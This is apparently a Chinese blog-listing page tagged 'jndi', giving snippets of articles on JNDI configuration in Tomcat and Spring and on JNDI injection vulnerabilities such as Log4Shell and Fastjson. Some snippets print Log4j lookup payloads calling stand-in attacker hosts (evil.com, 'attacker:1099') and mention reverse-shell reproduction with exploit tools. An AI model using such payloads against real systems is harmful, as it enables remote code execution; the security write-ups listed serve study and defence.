jndi

框架面试题24JNDI用过没有，是什么，有什么用？

JNDI（JavaNamingandDirectoryInterface，Java命名和目录接口）是Java平台提供的一组标准化API，用于统一访问和管理命名服务（如对象绑定与查找）及目录服务（如属性查询

码农颜·2025-07-27 09:43

springboot2.x Embedded Tomcat 配置jndi

对于EmbeddedTomcat的话，需要添加ServletWebServerFactory进行配置配置ServletWebServerFactory@ConfigurationpublicclassJNDIConfig

方穹轩·2025-07-20 14:28

Java JNDI LDAP的Filter查询条件查询通配符

---------------------------------------------------------------------------------------------------------------------------------逻辑运算符：&逻辑与|逻辑或!逻辑非-----------------------------------------------------

·2025-07-09 14:37

WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网

#知识点：1、Java安全-RCE执行-5大类函数调用2、Java安全-JNDI注入-RMI&LDAP&高版本3、Java安全-不安全组件(框架)-Shiro&FastJson&Jackson&XStream

教IT的小强·2025-07-01 13:49

Java安全防线第一篇：SQL注入 - 你的数据库正在“裸奔“吗？

文件上传漏洞：黑客的"特洛伊木马"如何潜入XXE漏洞：XML解析如何成为系统后门反序列化漏洞：Java对象的"变身术"攻击SSRF漏洞：内网如何被"隔山打牛"RCE漏洞：系统命令执行的"死亡调用"JNDI

全息架构师·2025-06-23 02:38

数据库连接池

扩展性：支持JNDI绑定和DataSource配置，便于集成到各种应用服务器环境中。性能与稳定性：性能：相较

进击的小白程序员·2025-06-15 08:18

【漏洞真实影响分析】Apache Kafka Connect 模块JNDI注入（CVE-2023-25194）

漏洞概述ApacheKafkaConnect服务在2.3.0至3.3.2版本中，由于连接时支持使用基于JNDI认证的SASLJAAS配置，导致配置在被攻击者可控的情况下，可能通过JNDI注入执行任意代码

墨菲安全·2025-06-09 10:17

谷歌工作自动化——仙盟大衍灵机——仙盟创梦IDE

下载地址https://chromewebstore.google.com/detail/selenium-ide/mooikfkahbdckldjjndioackbalphokdhttps://chrome.zzzmh.cn

未来之窗软件服务·2025-06-01 11:42

【HW系列】—web组件漏洞（Strtus2和Apache Log4j2）

文章目录Struts2Struts2框架介绍Struts2历史漏洞汇总（表格）Struts2-045漏洞详解Log4j2Log4j2框架介绍Log4j2漏洞原理1.JNDI注入2.利用过程Log4j2历史漏洞

枷锁—sha·2025-05-30 13:11

Java 网络安全新技术：构建面向未来的防御体系

例如，Log4j2漏洞事件中，攻击者利用日志框架的JNDI注入漏洞实现远程代码执行，

琢磨先生David·2025-05-04 04:05

【第36课】安全开发-JavaEE应用&第三方组件&Log4j日志&FastJson序列化&JNDI注入

121212Java知识点：功能：数据库操作，文件操作，序列化数据，身份验证，框架开发，第三方库使用等.框架库：MyBatis，SpringMVC，SpringBoot，Shiro，Log4j，FastJson等技术：Servlet，Listen，Filter，Interceptor，JWT，AOP，反射机制待补充安全：SQL注入，RCE执行，反序列化，脆弱验证，未授权访问，待补充安全：原生开发安

Lucker_YYY·2025-04-21 03:19

tomcat+JNDI+ActiveMQ简单实例

上一篇写了消费者生产者模式，地址http://blog.csdn.net/kuang_wu/article/details/53260185使用active之前，先看看java消息模式的基础：http://www.cnblogs.com/chenpi/p/5559349.html实现点对点消息传输：http://www.cnblogs.com/chenpi/p/5565618.html实现发布/订

浪浪山老周·2025-04-11 02:37

软件工程面试题（三十）

答：用过的J2EE标准主要有：JSP&Servlet、JDBC、JNDI、JavaMail、JTA、XML、RMI、WebServices等。这些标准主要提供了对于WEB框架的全方

a18007931080·2025-04-06 07:05

Apache Log4j2 远程代码执行漏洞(CVE-2021-44228)

漏洞描述：当用户输入信息时，应用程序中的log4j2组件会将信息记录到日志中假如日志中包含有语句${jndi:ldap:attacker:1099/exp}，log4j就会去解析该信息，通过jndi的lookup

白8080·2025-04-03 20:10

Tomcat之容器概览2

Tomcat容器的Server模块有管理容器的启动和关闭、管理了容器内的服务组件Service、管理了全局JNDI资源的功能，对Tomcat容器的生命周期管理有重要意义。

Lydia Bess·2025-04-03 05:04

【jdbc】 jndi与“Java:comp/env/“语法

文章目录1.什么是jndi2.jndi配置2.1weblogic例子：2.2其他服务器1.什么是jndijndi的作用看起来和datasource查不多，定义一个数据源，比如更换了数据库或需要更改配置信息

云川之下·2025-03-30 15:26

Spring系列学习之Spring Messaging消息支持

docs.spring.io/spring-boot/docs/current/reference/html/boot-features-messaging.html目录JMSActiveMQ支持Artemis支持使用JNDIConnectionFactory

m0_74825488·2025-03-22 18:13

SpringBoot配置文件的优先级（保姆级超详细讲解）

文章目录配置优先级排序项目外部配置文件项目内部配置文件Bootstrap配置文件配置优先级排序命令行参数；java:comp/env的JNDI属性(当前J2EE应用的环境)；JAVA系统的环境属性；操作系统的环境变量

来杯@Java·2025-03-03 22:34

tomcat jndi + spring配置

tomcatjndi+spring配置一、简介JNDI:JavaNamingandDirectoryInterface(JNDI)首先关于jndi的配置网上资料很多，但大多都不是我想要的，原因很简单，改的配置文件太多

cyong888·2025-02-27 16:13

Apache Log4j2 远程代码执行漏洞复现

0x01漏洞概述Log4j-2中存在JNDI注入漏洞，当程序将用户输入的数据被日志记录时，即可触发此漏洞，此次漏洞是用于Log4j2提供的lookup功能造成的，该功能允许开发者通过一些协议去读取相应环境中的配置

2ha0yuk7on.·2025-02-23 02:06

Spring学习笔记——开篇

Context为Spring核心提供扩展，能够找到使用SpringApplicationContext特性时需要的所有类；JNDI特性时需要的所有类；UI方面模板

weixin_30699741·2024-08-30 22:11

如何跟踪log4j漏洞原理及发现绕WAF的tips

回到前面提到的2.15.0-rc1版本对JndiManager#lookup方法的修复情况，并

H_00c8·2024-08-30 00:31

双亲委派模式

8、为什么JNDI

莫生人·2024-02-22 10:35

036-安全开发-JavaEE应用&第三方组件&Log4j日志&FastJson序列化&JNDI注入

036-安全开发-JavaEE应用&第三方组件&Log4j日志&FastJson序列化&JNDI注入#知识点：1、JavaEE-组件安全-Log4j2、JavaEE-组件安全-Fastjson3、JavaEE

wusuowei2986·2024-02-20 13:35

vulhub中Apache Log4j2 lookup JNDI 注入漏洞（CVE-2021-44228）

在其2.0到2.14.1版本中存在一处JNDI注入漏洞，攻击者在可以控制日志内容的情况下，通过传入类似于`${jndi:ldap://evil.com/example}`的lookup用于进行JNDI注入

余生有个小酒馆·2024-02-20 06:39

mybatis datasource种类

mybatis内置了三种数据源，分别是Pooled，Unpooled和JNDI，其中Pooled数据源是具有连接池的。

我不是攻城狮·2024-02-19 20:23

Java J2EE中的依赖查找

个人看法:设计依赖查找的设计模式,是为了解耦.单一类型依赖查找JNDIjavax.naming.Context#lookupJavaBeansjava.beans.beancontext.BeanContext

入门小站·2024-02-15 00:16

红队系列-网络安全知识锦囊

网络安全免责声明法律科普学习资源网站靶场/CTF大佬博客笔记思维框图CTF/AWDAPT&&矩阵Web安全/渗透测试ToolsGolang工具FscanGolang工具ChYing信息收集注入攻击ToolsJNDIExploit

amingMM·2024-02-10 12:10

Spring +Mybaits+Spring Boot+Spring Cloud

Spring组件：SpringCore：核心类库，提供IOC服务；SpringContext：提供框架式的Bean访问方式，以及企业级功能（JNDI、定时任务等）；SpringAOP：AOP服务；SpringDAO

奈斯。-·2024-02-09 06:39

Log4j2漏洞(二)3种方式复现反弹shell

本文主要是分享log4j2反弹shell的3种方式，第一种方式【JNDI-Injection-Exploit】对jdk版本要求比较高，因此我在靶场

大象只为你·2024-02-08 21:40

【Web】vulhub Fastjson反序列化漏洞复现学习笔记

1.2.24RCECVE-2017-18349复现流程vulhub启动靶场用marshalsec启动LDAP/RMI服务java-cpmarshalsec-0.0.3-SNAPSHOT-all.jarmarshalsec.jndi.LDAPRefServer"h

Z3r4y·2024-02-07 18:58

log4j2远程代码执行漏洞复现

目录描述：代码复现：执行结果：漏洞解决方案：描述：本次ApacheLog4j远程代码执行漏洞，正是由于组件存在JavaJNDI注入漏洞：当程序将用户输入的数据记入日志时，攻击者通过构造特殊请求，来触发ApacheLog4j2

liangbo7·2024-02-07 13:43

log4j2漏洞简单复现

这时候服务端只要在{}里面调用jndi服务，即可反弹shell到指定服务器中

h1dm·2024-02-07 01:56

Log4j2漏洞复现

Log4j2漏洞复现原理介绍因为Log4j2默认支持解析ldap/rmi协议，所以黑客只需构造恶意的JNDI接口，然后服务器通过log4j2解析jndi接口并调用lookup函数，使得服务器去引用黑客构造好的恶意类

Lend me·2024-02-07 01:26

day09.2

Spring上下文包括企业服务，例如JNDI、EJB、电子邮件、国际化、校

士官长哦·2024-02-06 14:20

Log4j2漏洞 CVE-2021-45046详情

当日志配置使用带有上下文查找（例如，$${ctx:loginId}）或线程上下文映射模式（%X、%mdc或%MDC）使用JNDI查找模式制作恶意输入数据，从而导致拒绝服务(DOS)攻击。

无名··2024-02-03 02:00

java ee面试题专家总结(必看),Java EE面试题专家总结(必看)

对于开发人员来说，了解几种主要的技术是非常必要的，例如JDBC、JSP、Servlet、XML、JNDI、JMS、JTA等。

FromNowToNow·2024-02-02 10:51

Log4j JNDI漏洞（Log4Shell）

Log4jJNDI，CVE-2021-44228。Log4jLog4j是Java应用程序的日志记录工具。

AxisX·2024-01-30 11:42

【心得】java JNDI配合RMI实现注入个人笔记

目录JNDIRMI基本概念RMI基本逻辑恶意利用JNDI注入+RMI实现攻击JNDIJavaNamingandDirectoryInterfaceJava命令和目录接口让配置参数和代码解耦的规范或者思想低耦合高内聚

Z3r4y·2024-01-29 05:48

log4j2漏洞综合利用_CVE-2021-44228_CNVD-2021-95919

使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar执行命令，反弹shell。

LQxdp·2024-01-25 04:39

springboot2多数据源之JNDI方式，使用AOP切换数据源，tomcat的context.xml维护数据源信息

环境：springboot2tomcat8jdk1.8驱动及加密：com.alibaba.druid多数据源1、数据源枚举定义publicinterfaceDatasourceEnum{StringDATA_SOURCE="dataSource";//主数据源StringDATA_SOURCE_2="dataSource2";//其他业务的数据源StringDATA_SOURCE_3="dataS

冒菜MaoCai·2024-01-24 20:34

Spring中配置DataSource数据源的3种选择

Spring中配置DataSource数据源的几种选择在Spring框架中有如下3种获得DataSource对象的方法:从JNDI获得DataSource.从第三方的连接池获得DataSource.使用

mrjunwang·2024-01-23 15:55

SpringBoot 属性配置解析

TestPropertySource注解测试环境properties属性命令行参数SPRING_APPLICATION_JSON属性ServletConfig初始化参数ServletContext初始化参数JNDI

Box_clf·2024-01-22 12:38

weblogic启动数据源报错

weblogic启动数据源报错当配置SqlConfig.xml下成“jndi”时，使用自身封装的sqlclient。

CopyLower·2024-01-16 05:02

Java：JPA中几种比较好的设置数据库连接事务隔离级别的方法

如果底层用的是Hibernate的实现3).如果底层用的是eclipseLink的实现1).直接在DataSource上设置DataSourcesource=(javax.sql.DataSource)jndiCntxt.lookup

netyeaxi·2024-01-12 01:50

tomcat中应用JNDI配置DBCP连接池。

调用时，通过JNDI名称进行调用。WEB-INF/web.xml-->-->//跟dbcp的区别是这里url-》jdbcUrlmax

博风·2024-01-07 20:36

快逸报表配置数据源的两种方式

一、通过JDBC配置数据源hemei9jdbc:mysql://localhost:3306/hemeicom.mysql.jdbc.DriverrootrootGBKGBK二、通过JNDI配置数据源：

暖男大海哥·2024-01-07 00:28

log4j RCE漏洞原理分析及检测

实现原理log4j支持使用表达式的形式打印日志，比如logger.info("systempropety:${sys:user.dir}");问题就在与表达式支持非常多样，其中有一个jndi就是今天的主题

诺浅·2024-01-06 22:00

金蝶Apusic应用服务器 loadTree JNDI注入漏洞

漏洞概述由于金蝶Apusic应用服务器权限验证不当，使用较低JDK版本，导致攻击者可以向loadTree接口执行JNDI注入，远程加载恶意类，造成远程代码执行。

keepb1ue·2024-01-06 09:20

wblogic中间件配置数据源

配置数据源1.服务-数据源-配置-新建2.单机选一般数据源3.选择源名称、jndi名称、数据库类型4.选择驱动5.下一步6.输入连接串信息参考：格式二：jdbc:oracle:thin:@::数据库名称配置的

ZzzkiYoumi·2024-01-05 12:27

推荐频道